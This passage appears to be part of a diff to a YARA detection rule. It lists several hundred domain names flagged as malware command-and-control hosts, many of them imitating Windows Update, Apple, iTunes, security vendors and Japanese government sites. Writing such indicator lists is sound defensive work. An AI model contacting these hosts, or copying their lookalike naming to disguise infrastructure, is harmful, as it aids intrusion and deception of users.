+      $c2_828 = "siteinit.info" ascii
+      $c2_829 = "sky.oldbmwy.com" ascii
+      $c2_830 = "sma.jimindaddy.com" ascii
+      $c2_831 = "smo.gadskysun.com" ascii
+      $c2_832 = "smtp.architectisusa.com" ascii
+      $c2_833 = "smtp.macforlinux.net" ascii
+      $c2_834 = "smtp230.toldweb.com" ascii
+      $c2_835 = "somthing.re26.com" ascii
+      $c2_836 = "sstday.jkub.com" ascii
+      $c2_837 = "start.usrobothome.com" ascii
+      $c2_838 = "station155.com" ascii
+      $c2_839 = "stevenlf.com" ascii
+      $c2_840 = "stone.jumpingcrab.com" ascii
+      $c2_841 = "style.u-tokyo-ac-jp.com" ascii
+      $c2_842 = "suayay.com" ascii
+      $c2_843 = "suibian2010.info" ascii
+      $c2_844 = "support1.mrface.com" ascii
+      $c2_845 = "supportus.mefound.com" ascii
+      $c2_846 = "suzukigooogle.8866.org" ascii
+      $c2_847 = "svc.dynssl.com" ascii
+      $c2_848 = "synssl.dnset.com" ascii
+      $c2_849 = "sz.thedomais.info" ascii
+      $c2_850 = "taipei.yourtrap.com" ascii
+      $c2_851 = "taipeifoodsite.ocry.com" ascii
+      $c2_852 = "tamraj.fartit.com" ascii
+      $c2_853 = "telegraph.mefound.com" ascii
+      $c2_854 = "test.usyahooapis.com" ascii
+      $c2_855 = "tfa.longmusic.com" ascii
+      $c2_856 = "tffghelth.com" ascii
+      $c2_857 = "thedomais.info" ascii
+      $c2_858 = "ticket.instanthq.com" ascii
+      $c2_859 = "ticket.jetos.com" ascii
+      $c2_860 = "ticket.serveuser.com" ascii
+      $c2_861 = "tidatacenter.shenajou.com" ascii
+      $c2_862 = "tisdatacenter.shenajou.com" ascii
+      $c2_863 = "tisupdateinfo.faqserv.com" ascii
+      $c2_864 = "tokyo-gojp.com" ascii
+      $c2_865 = "tokyofile.2waky.com" ascii
+      $c2_866 = "tomorrowforgood.com" ascii
+      $c2_867 = "tophost.dynamicdns.co.uk" ascii
+      $c2_868 = "toshste.com" ascii
+      $c2_869 = "toya.7766.org" ascii
+      $c2_870 = "transfer.lflinkup.org" ascii
+      $c2_871 = "transfer.mrbasic.com" ascii
+      $c2_872 = "transfer.vizvaz.com" ascii
+      $c2_873 = "trasul.mypicture.info" ascii
+      $c2_874 = "travelyokogawafz.fartit.com" ascii
+      $c2_875 = "trendmicroupdate.shenajou.com" ascii
+      $c2_876 = "trendsecurity.shenajou.com" ascii
+      $c2_877 = "trout.belowto.com" ascii
+      $c2_878 = "tv.goldtoyota.com" ascii
+      $c2_879 = "tw.2012yearleft.com" ascii
+      $c2_880 = "twmusic.proxydns.com" ascii
+      $c2_881 = "twpeoplemusicsite.my03.com" ascii
+      $c2_882 = "twtravelinfomation.toythieves.com" ascii
+      $c2_883 = "twx.mynumber.org" ascii
+      $c2_884 = "tyoto-go-jp.com" ascii
+      $c2_885 = "u-tokyo-ac-jp.com" ascii
+      $c2_886 = "u1.FartIT.com" ascii
+      $c2_887 = "u1.haoyujd.info" ascii
+      $c2_888 = "ubuntusofta.com" ascii
+      $c2_889 = "ugreen.itemdb.com" ascii
+      $c2_890 = "ui.hdcdui.com" ascii
+      $c2_891 = "uk.dynamicdns.org.uk" ascii
+      $c2_892 = "ukuoka.cloud-maste.com" ascii
+      $c2_893 = "ultimedia.vmmini.com" ascii
+      $c2_894 = "un.ddns.info" ascii
+      $c2_895 = "un.dnsrd.com" ascii
+      $c2_896 = "unhamj.com" ascii
+      $c2_897 = "update.yourtrap.com" ascii
+      $c2_898 = "updatemirrors.fartit.com" ascii
+      $c2_899 = "updates.itsaol.com" ascii
+      $c2_900 = "ups.improvejpese.com" ascii
+      $c2_901 = "urearapetsu.com" ascii
+      $c2_902 = "usa.got-game.org" ascii
+      $c2_903 = "usa.itsaol.com" ascii
+      $c2_904 = "usa.japanteam.org" ascii
+      $c2_905 = "usffunicef.com" ascii
+      $c2_906 = "usmirocomney.net" ascii
+      $c2_907 = "usrobothome.com" ascii
+      $c2_908 = "usyahooapis.com" ascii
+      $c2_909 = "uu.logon-live.com" ascii
+      $c2_910 = "uu.niushenghuo.info" ascii
+      $c2_911 = "ux.niushenghuo.info" ascii
+      $c2_912 = "v4.appledownload.ourhobby.com" ascii
+      $c2_913 = "v4.itunesmusic.jkub.com" ascii
+      $c2_914 = "v4.microsoftmusic.onedumb.com" ascii
+      $c2_915 = "v4.microsoftupdate.mrbasic.com" ascii
+      $c2_916 = "v4.windowsupdate.DEDGESUITE.NET" ascii
+      $c2_917 = "v4.windowsupdate.authorizeddns.org" ascii
+      $c2_918 = "v4.windowsupdate.dnset.com" ascii
+      $c2_919 = "v4.windowsupdate.itsaol.com" ascii
+      $c2_920 = "v4.windowsupdate.lflinkup.com" ascii
+      $c2_921 = "v4.windowsupdate.mrface.com" ascii
+      $c2_922 = "v4.windowsupdate.nsatcdns.com" ascii
+      $c2_923 = "v4.windowsupdate.x24hr.com" ascii
+      $c2_924 = "v4.windowsupdates.dnsrd.com" ascii
+      $c2_925 = "veryhuai.info" ascii
+      $c2_926 = "video.vmdnsup.org" ascii
+      $c2_927 = "vmdnsup.org" ascii
+      $c2_929 = "vmyiersend.WEBSAGO.INFO" ascii
+      $c2_930 = "vmyisan.website0012.net" ascii
+      $c2_932 = "wchildress.com" ascii
+      $c2_934 = "wcxh.mynetav.net" ascii
+      $c2_935 = "wdsupdates.com" ascii
+      $c2_936 = "webbooting.com" ascii
+      $c2_937 = "webdirectnews.dynamicdns.biz" ascii
+      $c2_938 = "webinfoseco.ygto.com" ascii
+      $c2_939 = "webmailentry.jetos.com" ascii
+      $c2_940 = "weboot.info" ascii
+      $c2_941 = "websago.info" ascii
+      $c2_942 = "websegoo.net" ascii
+      $c2_943 = "website0012.net" ascii
+      $c2_944 = "websiteboo.website0012.net" ascii
+      $c2_945 = "websqlnewsmanager.ninth.biz" ascii
+      $c2_946 = "webssl9.info" ascii
+      $c2_947 = "well.itsaol.com" ascii
+      $c2_948 = "well.mrbasic.com" ascii
+      $c2_949 = "whale.toshste.com" ascii
+      $c2_950 = "whellbuy.wschandler.com" ascii
+      $c2_951 = "whyis.haoyujd.info" ascii
+      $c2_952 = "wike.wikaba.com" ascii
+      $c2_953 = "windowfile.itemdb.com" ascii
+      $c2_954 = "windowsimages.itemdb.com" ascii
+      $c2_955 = "windowsimages.qhigh.com" ascii
+      $c2_956 = "windowsmirrors.vizvaz.com" ascii
+      $c2_957 = "windowsstores.gettrials.com" ascii
+      $c2_958 = "windowsstores.organiccrap.com" ascii
+      $c2_959 = "windowsupdate.2waky.com" ascii
+      $c2_960 = "windowsupdate.3-a.net" ascii
+      $c2_961 = "windowsupdate.acmetoy.com" ascii
+      $c2_962 = "windowsupdate.authorizeddns.net" ascii
+      $c2_963 = "windowsupdate.authorizeddns.org" ascii
+      $c2_964 = "windowsupdate.authorizeddns.us" ascii
+      $c2_965 = "windowsupdate.com.mwcname.com" ascii
+      $c2_966 = "windowsupdate.dedgesuite.net" ascii
+      $c2_967 = "windowsupdate.dns05.com" ascii
+      $c2_968 = "windowsupdate.dnset.com" ascii
+      $c2_969 = "windowsupdate.esmtp.biz" ascii
+      $c2_970 = "windowsupdate.ezua.com" ascii
+      $c2_971 = "windowsupdate.fartit.com" ascii
+      $c2_972 = "windowsupdate.gettrials.com" ascii
+      $c2_973 = "windowsupdate.instanthq.com" ascii
+      $c2_974 = "windowsupdate.itsaol.com" ascii
+      $c2_975 = "windowsupdate.jungleheart.com" ascii
+      $c2_976 = "windowsupdate.lflink.com" ascii
+      $c2_977 = "windowsupdate.mrface.com" ascii
+      $c2_978 = "windowsupdate.mylftv.com" ascii
+      $c2_979 = "windowsupdate.nsatcdns.com" ascii
+      $c2_980 = "windowsupdate.organiccrap.com" ascii
+      $c2_981 = "windowsupdate.rebatesrule.net" ascii
+      $c2_982 = "windowsupdate.sellclassics.com" ascii
+      $c2_983 = "windowsupdate.serveusers.com" ascii
+      $c2_984 = "windowsupdate.vizvaz.com" ascii
+      $c2_985 = "windowsupdate.wcwname.com" ascii
+      $c2_986 = "windowsupdate.x24hr.com" ascii
+      $c2_987 = "windowsupdate.ygto.com" ascii
+      $c2_988 = "windowsupdates.dnset.com" ascii
+      $c2_989 = "windowsupdates.ezua.com" ascii
+      $c2_990 = "windowsupdates.ikwb.com" ascii
+      $c2_991 = "windowsupdates.itemdb.com" ascii
+      $c2_992 = "windowsupdates.proxydns.com" ascii
+      $c2_993 = "workerisgood.com" ascii
+      $c2_994 = "woyaofanwen.com" ascii
+      $c2_995 = "wschandler.com" ascii
+      $c2_996 = "wthelpdesk.com" ascii
+      $c2_997 = "wubangtu.info" ascii
+      $c2_998 = "www-meti-go-jp.tyoto-go-jp.com" ascii
+      $c2_999 = "www.2014.zzux.com" ascii
+      $c2_1000 = "www.97sm.com" ascii
+      $c2_1001 = "www.9gowg.tech" ascii
+      $c2_1002 = "www.abdominal.faqserv.com" ascii
+      $c2_1003 = "www.additional.sexidude.com" ascii
+      $c2_1004 = "www.afc.https443.org" ascii
+      $c2_1005 = "www.androidmusicapp.onmypc.us" ascii
+      $c2_1006 = "www.announcements.toythieves.com" ascii
+      $c2_1007 = "www.anx-own-334.mrbasic.com" ascii
+      $c2_1008 = "www.apple.ikwb.com" ascii
+      $c2_1009 = "www.appledownload.ourhobby.com" ascii
+      $c2_1010 = "www.appleimages.itemdb.com" ascii
+      $c2_1011 = "www.appleimages.longmusic.com" ascii
+      $c2_1012 = "www.appleimages.organiccrap.com" ascii
+      $c2_1013 = "www.applejuice.itemdb.com" ascii
+      $c2_1014 = "www.applemirror.organiccrap.com" ascii
+      $c2_1015 = "www.applemirror.squirly.info" ascii
+      $c2_1016 = "www.applemusic.isasecret.com" ascii
+      $c2_1017 = "www.applemusic.itemdb.com" ascii
+      $c2_1018 = "www.applemusic.wikaba.com" ascii
+      $c2_1019 = "www.applemusic.xxuz.com" ascii
+      $c2_1020 = "www.applemusic.zzux.com" ascii
+      $c2_1021 = "www.appleupdate.itemdb.com" ascii
+      $c2_1022 = "www.appleupdateurl.2waky.com" ascii
+      $c2_1023 = "www.architectisusa.com" ascii
+      $c2_1024 = "www.army.xxuz.com" ascii
+      $c2_1025 = "www.art.p6p6.net" ascii
+      $c2_1026 = "www.asfzx.x24hr.com" ascii
+      $c2_1027 = "www.availab.wikaba.com" ascii
+      $c2_1028 = "www.availability.justdied.com" ascii
+      $c2_1029 = "www.babymusicsitetr.mymom.info" ascii
+      $c2_1030 = "www.back.jungleheart.com" ascii
+      $c2_1031 = "www.balance1.wikaba.com" ascii
+      $c2_1032 = "www.be.mrslove.com" ascii
+      $c2_1033 = "www.belowto.com" ascii
+      $c2_1034 = "www.billing.organiccrap.com" ascii
+      $c2_1035 = "www.blaaaaaaaaaaaa.windowsupdate.3-a.net" ascii
+      $c2_1036 = "www.brand.fartit.com" ascii
+      $c2_1037 = "www.bulletproof.squirly.info" ascii
+      $c2_1038 = "www.cabbage.iownyour.biz" ascii
+      $c2_1039 = "www.ccupdatedata.authorizeddns.net" ascii
+      $c2_1040 = "www.cdn.incloud-go.com" ascii
+      $c2_1041 = "www.center.shenajou.com" ascii
+      $c2_1042 = "www.chaindungeons.com" ascii
+      $c2_1043 = "www.cia.ezua.com" ascii
+      $c2_1044 = "www.cia.toh.info" ascii
+      $c2_1045 = "www.civilwar123.authorizeddns.org" ascii
+      $c2_1046 = "www.civilwar520.onmypc.org" ascii
+      $c2_1047 = "www.cloud-maste.com" ascii
+      $c2_1048 = "www.cnnews.mylftv.com" ascii
+      $c2_1049 = "www.commissioner.shenajou.com" ascii
+      $c2_1050 = "www.commons.onedumb.com" ascii
+      $c2_1051 = "www.contractus.qpoe.com" ascii
+      $c2_1052 = "www.corp-dnsonline.itsaol.com" ascii
+      $c2_1053 = "www.courier.jetos.com" ascii
+      $c2_1054 = "www.cress.mynetav.net" ascii
+      $c2_1055 = "www.ctdl.windowsupdate.nsatcdns.com" ascii
+      $c2_1056 = "www.ctldl.microsoftupdate.qhigh.com" ascii
+      $c2_1057 = "www.ctldl.windowsupdate.authorizeddns.us" ascii
+      $c2_1058 = "www.ctldl.windowsupdate.esmtp.biz" ascii
+      $c2_1059 = "www.ctldl.windowsupdate.mrface.com" ascii
+      $c2_1060 = "www.cwiinatonal.com" ascii
+      $c2_1061 = "www.dasoftactivemodule.toythieves.com" ascii
+      $c2_1062 = "www.dasonews.youdontcare.com" ascii
+      $c2_1063 = "www.daughter.vizvaz.com" ascii
+      $c2_1064 = "www.de.onmypc.info" ascii
+      $c2_1065 = "www.details.squirly.info" ascii
+      $c2_1066 = "www.development.shenajou.com" ascii
+      $c2_1067 = "www.devilcase.acmetoy.com" ascii
+      $c2_1068 = "www.disruptive.https443.net" ascii
+      $c2_1069 = "www.dns-hinettw.25u.com" ascii
+      $c2_1070 = "www.document.shenajou.com" ascii
+      $c2_1071 = "www.domainnow.yourtrap.com" ascii
+      $c2_1072 = "www.download.windowsupdate.nsatcdns.com" ascii
+      $c2_1073 = "www.ea.onmypc.info" ascii
+      $c2_1074 = "www.eddo.qpoe.com" ascii
+      $c2_1075 = "www.ehshiroshima.mylftv.com" ascii
+      $c2_1076 = "www.eric-averyanov.wha.la" ascii
+      $c2_1077 = "www.eu.acmetoy.com" ascii
+      $c2_1078 = "www.eu.wha.la" ascii
+      $c2_1079 = "www.express.lflinkup.com" ascii
+      $c2_1080 = "www.extraordinary.dynamic-dns.net" ascii
+      $c2_1081 = "www.f068v.site" ascii
+      $c2_1082 = "www.facefile.fartit.com" ascii
+      $c2_1083 = "www.fertile.authorizeddns.net" ascii
+      $c2_1084 = "www.file.zzux.com" ascii
+      $c2_1085 = "www.findme.epac.to" ascii
+      $c2_1086 = "www.fire.mrface.com" ascii
+      $c2_1087 = "www.firstnews.jkub.com" ascii
+      $c2_1088 = "www.fjs.wikaba.com" ascii
+      $c2_1089 = "www.foal.wchildress.com" ascii
+      $c2_1090 = "www.fr.wikaba.com" ascii
+      $c2_1091 = "www.freegamecenter.onedumb.com" ascii
+      $c2_1092 = "www.fruit.qhigh.com" ascii
+      $c2_1093 = "www.fuck.ikwb.com" ascii
+      $c2_1094 = "www.fuckmm.dns-dns.com" ascii
+      $c2_1095 = "www.fukuoka.cloud-maste.com" ascii
+      $c2_1096 = "www.g3ypf.online" ascii
+      $c2_1097 = "www.garlic.dyndns.pro" ascii
+      $c2_1098 = "www.generat.almostmy.com" ascii
+      $c2_1099 = "www.glicense.shenajou.com" ascii
+      $c2_1100 = "www.goldtoyota.com" ascii
+      $c2_1101 = "www.goodmusic.justdied.com" ascii
+      $c2_1102 = "www.gooesdataios.instanthq.com" ascii
+      $c2_1103 = "www.grammar.jkub.com" ascii
+      $c2_1104 = "www.helpus.ddns.info" ascii
+      $c2_1105 = "www.hii.qhigh.com" ascii
+      $c2_1106 = "www.hinetonlinedns.dns05.com" ascii
+      $c2_1107 = "www.incloud-go.com" ascii
+      $c2_1108 = "www.innocent-isayev.sexidude.com" ascii
+      $c2_1109 = "www.interpreter.shenajou.com" ascii
+      $c2_1110 = "www.invoices.sexxxy.biz" ascii
+      $c2_1111 = "www.iphone.vizvaz.com" ascii
+      $c2_1112 = "www.ipv4.microsoftupdate.mrbasic.com" ascii
+      $c2_1113 = "www.ipv4.windowsupdate.3-a.net" ascii
+      $c2_1114 = "www.ipv4.windowsupdate.esmtp.biz" ascii
+      $c2_1115 = "www.ipv4.windowsupdate.fartit.com" ascii
+      $c2_1116 = "www.ipv4.windowsupdate.lflink.com" ascii
+      $c2_1117 = "www.ipv4.windowsupdate.mrface.com" ascii
+      $c2_1118 = "www.ipv4.windowsupdate.mylftv.com" ascii
+      $c2_1119 = "www.ipv4.windowsupdate.nsatcdns.com" ascii
+      $c2_1120 = "www.itlans.isasecret.com" ascii
+      $c2_1121 = "www.itunesdownload.jkub.com" ascii
+      $c2_1122 = "www.itunesdownload.vizvaz.com" ascii
+      $c2_1123 = "www.itunesdownload.wikaba.com" ascii
+      $c2_1124 = "www.itunesimages.itemdb.com" ascii
+      $c2_1125 = "www.itunesimages.itsaol.com" ascii
+      $c2_1126 = "www.itunesimages.qpoe.com" ascii
+      $c2_1127 = "www.itunesmirror.fartit.com" ascii
+      $c2_1128 = "www.itunesmirror.itsaol.com" ascii
+      $c2_1129 = "www.itunesmusic.ikwb.com" ascii
+      $c2_1130 = "www.itunesmusic.jetos.com" ascii
+      $c2_1131 = "www.itunesmusic.jkub.com" ascii
+      $c2_1132 = "www.itunesmusic.zzux.com" ascii
+      $c2_1133 = "www.itunesupdate.itsaol.com" ascii
+      $c2_1134 = "www.itunesupdates.organiccrap.com" ascii
+      $c2_1135 = "www.japanenvnews.qpoe.com" ascii
+      $c2_1136 = "www.jd978.com" ascii
+      $c2_1137 = "www.jimin.jimindaddy.com" ascii
+      $c2_1138 = "www.jimin.mymom.info" ascii
+      $c2_1139 = "www.jp.serveuser.com" ascii
+      $c2_1140 = "www.jpnappstore.ourhobby.com" ascii
+      $c2_1141 = "www.jpnewslogs.sendsmtp.com" ascii
+      $c2_1142 = "www.jpnxzshopdata.authorizeddns.org" ascii
+      $c2_1143 = "www.kawasaki.cloud-maste.com" ascii
+      $c2_1144 = "www.kawasaki.unhamj.com" ascii
+      $c2_1145 = "www.key.zzux.com" ascii
+      $c2_1146 = "www.knowledge.sellclassics.com" ascii
+      $c2_1147 = "www.lan.dynssl.com" ascii
+      $c2_1148 = "www.last.p6p6.net" ascii
+      $c2_1149 = "www.latestnews.epac.to" ascii
+      $c2_1150 = "www.latestnews.organiccrap.com" ascii
+      $c2_1151 = "www.leedong.longmusic.com" ascii
+      $c2_1152 = "www.leeks.mrbonus.com" ascii
+      $c2_1153 = "www.liberty.acmetoy.com" ascii
+      $c2_1154 = "www.license.shenajou.com" ascii
+      $c2_1155 = "www.lion.wchildress.com" ascii
+      $c2_1156 = "www.loveddos.com" ascii
+      $c2_1157 = "www.macfee.mrface.com" ascii
+      $c2_1158 = "www.macforlinux.net" ascii
+      $c2_1159 = "www.maffc.mrface.com" ascii
+      $c2_1160 = "www.malware.dsmtp.com" ascii
+      $c2_1161 = "www.manager.jetos.com" ascii
+      $c2_1162 = "www.markabcinfo.dynamicdns.me.uk" ascii
+      $c2_1163 = "www.mason.vizvaz.com" ascii
+      $c2_1164 = "www.mediapath.organiccrap.com" ascii
+      $c2_1165 = "www.meiji-ac-jp.com" ascii
+      $c2_1166 = "www.messagea.emailfound.info" ascii
+      $c2_1167 = "www.microsoft.got-game.org" ascii
+      $c2_1168 = "www.microsoft.mrface.com" ascii
+      $c2_1169 = "www.microsoftempowering.sendsmtp.com" ascii
+      $c2_1170 = "www.microsoftgame.mrface.com" ascii
+      $c2_1171 = "www.microsoftgetstarted.sexidude.com" ascii
+      $c2_1172 = "www.microsoftimages.organiccrap.com" ascii
+      $c2_1173 = "www.microsoftmirror.mrbasic.com" ascii
+      $c2_1174 = "www.microsoftmusic.itemdb.com" ascii
+      $c2_1175 = "www.microsoftmusic.mrbasic.com" ascii
+      $c2_1176 = "www.microsoftqckmanager.pcanywhere.net" ascii
+      $c2_1177 = "www.microsoftupdate.mrbasic.com" ascii
+      $c2_1178 = "www.microsoftupdate.qhigh.com" ascii
+      $c2_1179 = "www.micrsoftware.dsmtp.com" ascii
+      $c2_1180 = "www.mircsoft.compress.to" ascii
+      $c2_1181 = "www.mmy.ddns.us" ascii
+      $c2_1182 = "www.mod.jetos.com" ascii
+      $c2_1183 = "www.mofa.dynamic-dns.net" ascii
+      $c2_1184 = "www.mofa.ns01.info" ascii
+      $c2_1185 = "www.moonnightthse.zyns.com" ascii
+      $c2_1186 = "www.moscowdic.trickip.org" ascii
+      $c2_1187 = "www.moscowstdsupdate.toythieves.com" ascii
+      $c2_1188 = "www.mseupdate.ourhobby.com" ascii
+      $c2_1189 = "www.msg.ezua.com" ascii
+      $c2_1190 = "www.msn.incloud-go.com" ascii
+      $c2_1191 = "www.musicfile.ikwb.com" ascii
+      $c2_1192 = "www.musicjj.zzux.com" ascii
+      $c2_1193 = "www.musicsecph.squirly.info" ascii
+      $c2_1194 = "www.mymusicbox.lflinkup.org" ascii
+      $c2_1195 = "www.mymusicbox.vizvaz.com" ascii
+      $c2_1196 = "www.myrestroomimage.isasecret.com" ascii
+      $c2_1197 = "www.mytwhomeinst.sendsmtp.com" ascii
+      $c2_1198 = "www.myurinikoreaaps.ninth.biz" ascii
+      $c2_1199 = "www.na.americanunfinished.com" ascii
+      $c2_1200 = "www.na.onmypc.org" ascii
+      $c2_1201 = "www.networkjpnzee.mynetav.org" ascii
+      $c2_1202 = "www.newcityoforward.rebatesrule.net" ascii
+      $c2_1203 = "www.newdnssec-info.4mydomain.com" ascii
+      $c2_1204 = "www.newsdata.jkub.com" ascii
+      $c2_1205 = "www.newsfile.toythieves.com" ascii
+      $c2_1206 = "www.newsroom.cleansite.info" ascii
+      $c2_1207 = "www.nlddnsinfo.https443.org" ascii
+      $c2_1208 = "www.no.authorizeddns.org" ascii
+      $c2_1209 = "www.nposnewsinfo.qhigh.com" ascii
+      $c2_1210 = "www.nsa.mefound.com" ascii
+      $c2_1211 = "www.nt.mynumber.org" ascii
+      $c2_1212 = "www.nttdata.otzo.com" ascii
+      $c2_1213 = "www.nuisance.serveusers.com" ascii
+      $c2_1214 = "www.nz.compress.to" ascii
+      $c2_1215 = "www.ol.almostmy.com" ascii
+      $c2_1216 = "www.oldbmwy.com" ascii
+      $c2_1217 = "www.onion.jkub.com" ascii
+      $c2_1218 = "www.onlinednsserver.sendsmtp.com" ascii
+      $c2_1219 = "www.oracleupdate.dns04.com" ascii
+      $c2_1220 = "www.oyster.jkub.com" ascii
+      $c2_1221 = "www.p6p6.net" ascii
+      $c2_1222 = "www.packetsdsquery.dns05.com" ascii
+      $c2_1223 = "www.pepper.sexxxy.biz" ascii
+      $c2_1224 = "www.phptecinfohelp.itemdb.com" ascii
+      $c2_1225 = "www.pickled.myddns.com" ascii
+      $c2_1226 = "www.polopurple.com" ascii
+      $c2_1227 = "www.portal.mrface.com" ascii
+      $c2_1228 = "www.portal.sendsmtp.com" ascii
+      $c2_1229 = "www.portalser.dynamic-dns.net" ascii
+      $c2_1230 = "www.praskovya-matveyeva.mefound.com" ascii
+      $c2_1231 = "www.praskovya-ulyanova.dumb1.com" ascii
+      $c2_1232 = "www.products.almostmy.com" ascii
+      $c2_1233 = "www.products.cleansite.us" ascii
+      $c2_1234 = "www.products.serveuser.com" ascii
+      $c2_1235 = "www.purchase.lflinkup.org" ascii
+      $c2_1236 = "www.rainbow.mypop3.org" ascii
+      $c2_1237 = "www.re26.com" ascii
+      $c2_1238 = "www.read.xxuz.com" ascii
+      $c2_1239 = "www.recent.dns-stuff.com" ascii
+      $c2_1240 = "www.recent.fartit.com" ascii
+      $c2_1241 = "www.redflower.isasecret.com" ascii
+      $c2_1242 = "www.referred.gr8domain.biz" ascii
+      $c2_1243 = "www.referred.yourtrap.com" ascii
+      $c2_1244 = "www.register.ourhobby.com" ascii
+      $c2_1245 = "www.registration2.instanthq.com" ascii
+      $c2_1246 = "www.registrations.4pu.com" ascii
+      $c2_1247 = "www.registrations.organiccrap.com" ascii
+      $c2_1248 = "www.remeberdata.iownyour.org" ascii
+      $c2_1249 = "www.reserveds.onedumb.com" ascii
+      $c2_1250 = "www.rethem.almostmy.com" ascii
+      $c2_1251 = "www.rg197.win" ascii
+      $c2_1252 = "www.sakai.unhamj.com" ascii
+      $c2_1253 = "www.sapporo.cloud-maste.com" ascii
+      $c2_1254 = "www.sauerkraut.sellclassics.com" ascii
+      $c2_1255 = "www.saverd.re26.com" ascii
+      $c2_1256 = "www.sbuudd.webssl9.info" ascii
+      $c2_1257 = "www.sdmsg.onmypc.org" ascii
+      $c2_1258 = "www.se.toythieves.com" ascii
+      $c2_1259 = "www.secertnews.mrbasic.com" ascii
+      $c2_1260 = "www.secnetshit.com" ascii
+      $c2_1261 = "www.secserverupdate.toh.info" ascii
+      $c2_1262 = "www.senseye.ikwb.com" ascii
+      $c2_1263 = "www.senseye.mrbonus.com" ascii
+      $c2_1264 = "www.septdlluckysystem.jungleheart.com" ascii
+      $c2_1265 = "www.seraphim-yurieva.justdied.com" ascii
+      $c2_1266 = "www.serv.justdied.com" ascii
+      $c2_1267 = "www.server1.proxydns.com" ascii
+      $c2_1268 = "www.seyesb.acmetoy.com" ascii
+      $c2_1269 = "www.showy.almostmy.com" ascii
+      $c2_1270 = "www.shugiin.jkub.com" ascii
+      $c2_1271 = "www.sindeali.com" ascii
+      $c2_1272 = "www.singed.otzo.com" ascii
+      $c2_1273 = "www.sojourner.mypicture.info" ascii
+      $c2_1274 = "www.sstday.jkub.com" ascii
+      $c2_1275 = "www.support1.mrface.com" ascii
+      $c2_1276 = "www.supportus.mefound.com" ascii
+      $c2_1277 = "www.svc.dynssl.com" ascii
+      $c2_1278 = "www.sweetheart.sexxxy.biz" ascii
+      $c2_1279 = "www.synssl.dnset.com" ascii
+      $c2_1280 = "www.tamraj.fartit.com" ascii
+      $c2_1281 = "www.telegraph.mefound.com" ascii
+      $c2_1282 = "www.tfa.longmusic.com" ascii
+      $c2_1283 = "www.thunder.wikaba.com" ascii
+      $c2_1284 = "www.ticket.instanthq.com" ascii
+      $c2_1285 = "www.ticket.serveuser.com" ascii
+      $c2_1286 = "www.tisupdateinfo.faqserv.com" ascii
+      $c2_1287 = "www.tokyofile.2waky.com" ascii
+      $c2_1288 = "www.tophost.dynamicdns.co.uk" ascii
+      $c2_1289 = "www.transfer.lflinkup.org" ascii
+      $c2_1290 = "www.transfer.mrbasic.com" ascii
+      $c2_1291 = "www.transfer.vizvaz.com" ascii
+      $c2_1292 = "www.twgovernmentinfo.acmetoy.com" ascii
+      $c2_1293 = "www.twsslpopservupro.dynssl.com" ascii
+      $c2_1294 = "www.ugreen.itemdb.com" ascii
+      $c2_1295 = "www.uk.dynamicdns.org.uk" ascii
+      $c2_1296 = "www.un.ddns.info" ascii
+      $c2_1297 = "www.un.dnsrd.com" ascii
+      $c2_1298 = "www.unhamj.com" ascii
+      $c2_1299 = "www.usa.itsaol.com" ascii
+      $c2_1300 = "www.usffunicef.com" ascii
+      $c2_1301 = "www.usliveupdateonline.ygto.com" ascii
+      $c2_1302 = "www.ut-portal-u-tokyo-ac-jp.tyoto-go-jp.com" ascii
+      $c2_1303 = "www.v4.windowsupdate.mrface.com" ascii
+      $c2_1304 = "www.v4.windowsupdate.nsatcdns.com" ascii
+      $c2_1305 = "www.vmmini.com" ascii
+      $c2_1306 = "www.wchildress.com" ascii
+      $c2_1307 = "www.webdirectnews.dynamicdns.biz" ascii
+      $c2_1308 = "www.webmailentry.jetos.com" ascii
+      $c2_1309 = "www.websqlnewsmanager.ninth.biz" ascii
+      $c2_1310 = "www.well.itsaol.com" ascii
+      $c2_1311 = "www.well.mrbasic.com" ascii
+      $c2_1312 = "www.windowfile.itemdb.com" ascii
+      $c2_1313 = "www.windowsimages.itemdb.com" ascii
+      $c2_1314 = "www.windowsimages.qhigh.com" ascii
+      $c2_1315 = "www.windowsmirrors.vizvaz.com" ascii
+      $c2_1316 = "www.windowsupdate.2waky.com" ascii
+      $c2_1317 = "www.windowsupdate.3-a.net" ascii
+      $c2_1318 = "www.windowsupdate.acmetoy.com" ascii
+      $c2_1319 = "www.windowsupdate.authorizeddns.net" ascii
+      $c2_1320 = "www.windowsupdate.authorizeddns.org" ascii
+      $c2_1321 = "www.windowsupdate.authorizeddns.us" ascii
+      $c2_1322 = "www.windowsupdate.dns05.com" ascii
+      $c2_1323 = "www.windowsupdate.dnset.com" ascii
+      $c2_1324 = "www.windowsupdate.esmtp.biz" ascii
+      $c2_1325 = "www.windowsupdate.ezua.com" ascii
+      $c2_1326 = "www.windowsupdate.fartit.com" ascii
+      $c2_1327 = "www.windowsupdate.gettrials.com" ascii
+      $c2_1328 = "www.windowsupdate.instanthq.com" ascii
+      $c2_1329 = "www.windowsupdate.itsaol.com" ascii
+      $c2_1330 = "www.windowsupdate.jungleheart.com" ascii
+      $c2_1331 = "www.windowsupdate.lflink.com" ascii
+      $c2_1332 = "www.windowsupdate.mrface.com" ascii
+      $c2_1333 = "www.windowsupdate.mylftv.com" ascii
+      $c2_1334 = "www.windowsupdate.nsatcdns.com" ascii
+      $c2_1335 = "www.windowsupdate.organiccrap.com" ascii
+      $c2_1336 = "www.windowsupdate.rebatesrule.net" ascii
+      $c2_1337 = "www.windowsupdate.sellclassics.com" ascii
+      $c2_1338 = "www.windowsupdate.serveusers.com" ascii
+      $c2_1339 = "www.windowsupdate.x24hr.com" ascii
+      $c2_1340 = "www.yahoo.incloud-go.com" ascii
+      $c2_1341 = "www.yandexr.sellclassics.com" ascii
+      $c2_1342 = "www.yeahyeahyeahs.3322.org" ascii
+      $c2_1343 = "www.yokohamajpinstaz.mrbonus.com" ascii
+      $c2_1344 = "www.zaigawebinfo.rebatesrule.net" ascii
+      $c2_1345 = "www.zebra.incloud-go.com" ascii
+      $c2_1346 = "www2.qpoe.com" ascii
+      $c2_1347 = "www2.zyns.com" ascii
+      $c2_1348 = "www2.zzux.com" ascii
+      $c2_1349 = "x7.usyahooapis.com" ascii
+      $c2_1350 = "xi.dyndns.pro" ascii
+      $c2_1351 = "xi.sexxxy.biz" ascii
+      $c2_1352 = "xread10821.9966.org" ascii
+      $c2_1353 = "xsince.tk" ascii
+      $c2_1354 = "xt.dnset.com" ascii
+      $c2_1355 = "xyrn998754.2288.org" ascii
+      $c2_1356 = "yahoo.incloud-go.com" ascii
+      $c2_1357 = "yallago.cu.cc" ascii
+      $c2_1358 = "yandexr.sellclassics.com" ascii
+      $c2_1359 = "yeahyeahyeahs.3322.org" ascii
